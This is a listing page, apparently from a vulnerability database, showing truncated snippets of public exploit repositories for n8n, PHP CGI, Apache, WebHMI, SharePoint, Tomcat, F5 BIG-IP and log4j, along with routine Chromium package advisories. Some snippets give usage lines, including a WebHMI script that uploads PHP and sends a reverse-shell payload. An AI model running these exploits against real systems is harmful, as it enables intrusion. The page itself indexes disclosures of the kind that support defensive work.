Lucene search
+L

270184 matches found

Kitploit
Kitploit
added 2026/09/04 8:35 a.m.4 views

CVE-2025-68613-Python-Exploit

CVE-2025-68613:n8n 工作流表达式远程代码执行漏洞 n8n 工作流自动化平台中一个严重远程代码执行漏洞的概念验证(PoC)利用程序。 描述 该漏洞存在于 n8n 表达式评估系统中。用户提供的表达式未经过适当的沙箱隔离,允许已认证的攻击者在主机系统上执行任意代码。 CVE ID: CVE-2025-68613 漏洞类型: 远程代码执行(RCE) 受影响组件: 表达式评估器 受影响版本 n8n = 0.211.0 n8n -u -p OPTIONS 参数 -t, --target :目标 URL(例如 http://localhost:5678) -u, --username...

9.9CVSS8.9AI score0.99105EPSS
SaveExploits31
Kitploit
Kitploit
added 2026/09/04 8:35 a.m.3 views

CVE-2024-4577-Nuclei-Template

قالب Nuclei لـ CVE-2024-4577 يحتوي هذا المستودع على قالب Nuclei لاستكشاف ثغرة حقن الوسائط في PHP CGI المعروفة باسم CVE-2024-4577. تفاصيل القالب root@kitploit: id: CVE-2024-4577 info: name: CVE-2024-4577 PHP CGI Argument Injection author: Hüseyin TINTAŞ severity: critical description: CVE-2024-457...

9.8CVSS7.6AI score0.99987EPSS
SaveExploits68
Kitploit
Kitploit
added 2026/09/04 8:33 a.m.4 views

CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 2.4.49, 2.4.50 - 路径遍历与远程代码执行...

9.8CVSS8.3AI score0.99992EPSS
SaveExploits164
Kitploit
Kitploit
added 2026/09/04 8:33 a.m.3 views

CVE-2021-43936

CVE-2021-43936 CVE-2021-43936是一个严重漏洞(CVSS3评分10.0),导致WebHMI固件中的远程代码执行(RCE)。 该漏洞影响4.0版本及最新版本。 仅在4.0.7475上测试。脚本通过以下步骤利用漏洞: 1. 登录应用程序 2. 上传PHP代码执行脚本 3. 发送反向Shell有效负载 如果存在多个NIC,利用可能失败。解决方案是重试一次。 使用示例: python3 cve-2021-43936.py -t 10.100.23.200 -p 80 -l 10.100.23.201 -P 80...

10CVSS8.8AI score0.35804EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/04 8:32 a.m.6 views

CVE-2025-53770-Scanner

CVE-2025-53770 扫描器 by DanSec 一款简单有效的侦察工具,用于识别潜在暴露于关键 SharePoint 漏洞 CVE-2025-53770 的系统。 !Warning 本工具仅供授权测试使用。 作者(DanSec)不承担 因未经授权扫描或使用导致的滥用或损失的任何责任。使用本工具前,请确保你拥有对任何域名或服务进行扫描的明确许可。 关于 CVE-2025-53770 CVE-2025-53770(“ToolShell”) 是一个影响本地 SharePoint Server 2016、2019 和订阅版(Subscription Edition)的关键漏洞。...

9.8CVSS8.2AI score0.99998EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/04 8:29 a.m.4 views

CVE-2025-24813

CVE-2025-24813 - Apache Tomcat 远程代码执行利用工具 这是 CVE-2025-24813 的概念验证(PoC)利用脚本,该漏洞存在于 Apache Tomcat(9.0.80–9.0.83、10.1.0–10.1.17)中,通过会话反序列化实现远程代码执行(RCE)。 该利用工具滥用部分 PUT 请求和 PersistentManager 会话存储机制来实现代码执行。 描述 Apache Tomcat 错误地处理不完整的文件上传。 攻击者可以通过发送带有 Content-Range 头的部分 PUT 请求,将精心构造的 Java 序列化对象作为 .sessi...

10CVSS8.7AI score0.99927EPSS
SaveExploits49
Kitploit
Kitploit
added 2026/09/04 8:26 a.m.5 views

CVE-2025-52078

🚨 CVE-2025-52078 - 未认证任意文件上传 - Writebot SaaS React 模板 本仓库包含针对 Writebot – AI 内容生成器 SaaS React 模板 中发现的 未认证任意文件上传 漏洞的概念验证漏洞利用代码。 🧠 产品页面: ThemeForest – Writebot 🆔 漏洞元数据 CWE-ID: CWE-434:危险类型文件的不受限上传 严重性: 中 版本: 3.1 向量字符串: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 分数: 6.5 漏洞利用类型: 远程代码执行(通过文件上传) 需要认证:...

6.5CVSS5.2AI score0.00316EPSS
SaveExploits2
Chainguard
Chainguard
added 2026/09/04 8:26 a.m.3 views

GHSA-859R-QGH9-2MWV vulnerabilities

Vulnerabilities for packages: chromium...

5.3AI score
SaveExploits0
Chainguard
Chainguard
added 2026/09/04 8:26 a.m.5 views

GHSA-8H5Q-977G-XQF2 vulnerabilities

Vulnerabilities for packages: chromium...

5.3AI score
SaveExploits0
Chainguard
Chainguard
added 2026/09/04 8:26 a.m.5 views

GHSA-F4FR-6HPC-V792 vulnerabilities

Vulnerabilities for packages: chromium...

5.3AI score
SaveExploits0
Chainguard
Chainguard
added 2026/09/04 8:26 a.m.3 views

GHSA-2FJV-4HM5-6J23 vulnerabilities

Vulnerabilities for packages: chromium...

5.3AI score
SaveExploits0
Chainguard
Chainguard
added 2026/09/04 8:26 a.m.3 views

GHSA-5FQ4-CF4M-H32G vulnerabilities

Vulnerabilities for packages: chromium...

5.3AI score
SaveExploits0
Chainguard
Chainguard
added 2026/09/04 8:26 a.m.7 views

GHSA-5724-75RM-8CXV vulnerabilities

Vulnerabilities for packages: chromium...

5.3AI score
SaveExploits0
Chainguard
Chainguard
added 2026/09/04 8:26 a.m.3 views

GHSA-P67G-9RGF-JJH6 vulnerabilities

Vulnerabilities for packages: chromium...

5.3AI score
SaveExploits0
Chainguard
Chainguard
added 2026/09/04 8:26 a.m.6 views

GHSA-M4C2-Q6HR-P6W3 vulnerabilities

Vulnerabilities for packages: chromium...

5.3AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/04 8:26 a.m.5 views

CVE-2020-5902-fofa-scan

CVE-2020-5902-fofa-scan 介绍 F5 BIG-IP 远程代码执行漏洞CVE-2020-5902,fofa扫描脚本 利用条件 fofa会员,填入fofaproarssession的值。 自行修改 12行keyword值。 自行修改 17行页数范围 本文公开的方法和脚本仅供学习和研究使用,任何团队和个人不得使用本文披露的相关内容从事违法网络攻击活动,否则造成的一切后果由使用者本人承担与本文作者无关。...

10CVSS7.6AI score0.99999EPSS
SaveExploits62
Kitploit
Kitploit
added 2026/09/04 8:26 a.m.6 views

log4j-rce-test

构建 ./build.sh 启动 log4j RCE 服务器 ./start-log4j-rce-server.sh 测试 运行 java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j 检查当前文件夹中的 hack.log 是否获得日志 你可以修改这一行 String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString + " ./hack.log" ; 在文件 apache-log4j-poc/src/main/java/Exploit.java 中 改成你想要的任何内容,然后重新构建并运行...

5.4AI score
SaveExploits0References3
Wolfi
Wolfi
added 2026/09/04 8:25 a.m.8 views

GHSA-XM9J-86VV-2J8R vulnerabilities

Vulnerabilities for packages: chromium...

5.3AI score
SaveExploits0
Wolfi
Wolfi
added 2026/09/04 8:25 a.m.3 views

GHSA-XRMP-96P2-C668 vulnerabilities

Vulnerabilities for packages: chromium...

5.3AI score
SaveExploits0
Wolfi
Wolfi
added 2026/09/04 8:25 a.m.3 views

GHSA-9QGH-MJ3F-5GW3 vulnerabilities

Vulnerabilities for packages: chromium...

5.3AI score
SaveExploits0
Rows per page
Query Builder